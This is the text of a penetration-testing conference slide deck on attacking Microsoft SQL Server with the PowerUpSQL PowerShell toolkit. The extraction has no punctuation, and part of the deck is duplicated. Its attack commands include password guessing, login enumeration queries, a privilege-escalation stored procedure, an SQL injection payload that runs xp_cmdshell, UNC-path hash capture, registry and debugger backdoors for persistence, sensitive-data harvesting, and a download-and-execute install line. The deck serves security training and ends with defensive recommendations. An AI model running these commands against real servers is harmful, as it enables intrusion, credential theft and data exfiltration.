Upload
scott-sutherland
View
658
Download
0
Embed Size (px)
Citation preview
Hacking SQL Server on Scale with PowerShell
v2
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Presentation Overview Why SQL Server and PowerShell
PowerUpSQL Overview
Finding amp Accessing SQL Servers
Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation
Post Exploitation Activities
General Recommendations
Why SQL Server Used in most enterprise environments
Supports local Windows and Domain authentication
Integrates with lots of Windows applications
Generally has trust relationships that other donrsquot
Why PowerShell Native to Windows
Run commands in memory
Run managed net code
Run unmanaged code
Avoid detection by legacy Anti-virus
Already flagged as trusted by most application whitelist solutions
A medium used to write many open source Pentest toolkits
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Presentation Overview Why SQL Server and PowerShell
PowerUpSQL Overview
Finding amp Accessing SQL Servers
Privilege Escalation Scenarioso Domain user to SQL Server logino SQL Server Login to Sysadmino Sysadmin to Windows Admino Windows Admin to Sysadmino Domain Escalation
Post Exploitation Activities
General Recommendations
Why SQL Server Used in most enterprise environments
Supports local Windows and Domain authentication
Integrates with lots of Windows applications
Generally has trust relationships that other donrsquot
Why PowerShell Native to Windows
Run commands in memory
Run managed net code
Run unmanaged code
Avoid detection by legacy Anti-virus
Already flagged as trusted by most application whitelist solutions
A medium used to write many open source Pentest toolkits
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
